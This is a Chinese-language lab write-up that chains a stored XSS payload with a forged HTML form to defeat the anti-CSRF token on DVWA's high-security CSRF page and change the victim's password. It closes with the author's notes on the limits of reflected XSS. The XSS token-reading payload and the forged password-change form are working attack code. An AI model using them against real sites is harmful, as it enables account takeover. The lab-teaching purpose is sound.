通过burpsuite抓包分析high级别加入了验证token机制,每次修改密码需要提交服务器生成的随机的token参数。
high等级的数据包
如果该网站存在XSS漏洞可以利用,那么就可以实现high等级下的CSRF漏洞,所以需要利用DVWA的XSS漏洞板块,获取同等级CSRF板块下的user_token,然后构造网站。
这里我是在存储型XSS中txtname框输入,因为有字数限制,所以需要拦截后更改。
txtName=<iframe src="../CSRF" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
获取其user_token。
利用存储性XSS漏洞
获取user_token
然后将这个token放入构造的html
<html>
<body>
<form action="http://192.168.204.136/dvwa/vulnerabilities/csrf/?">
<input type="hidden" name="password_new" value="high"/>
<input type="hidden" name="password_conf" value="high"/>
<input type="hidden" name="Change" value="Change"/>
<input type="hidden" name="user_token" value="xxxxx"/>
<input type="submit" value="Ciick Me"/>
</form>
</body>
</html>
构造html
为了强调跨站,我把该html放在了host为192.168.204.142的服务器里,DVWA的主机host是192.168.204.136。
受害者访问
访问钓鱼网站
成功将密码修改为high
修改密码成功
验证登录
个人思考:
通过反射型XSS完成CSRF的攻击应该是不现实的,因为获取的token是一次性的,如果受害者在点击此构造网站之前随便访问了原网站的其他信息,或者token被消耗更新,token就会改变,因此,结合反射型XSS的CSRF攻击在现实中很容易失去有时效性的token。所以只能配合存储型的XSS,在构造网站的时候需要先跳转至XSS模块利用此漏洞获取token,然后才将修改密码表单发送,这个html网站的构造我还没有实现。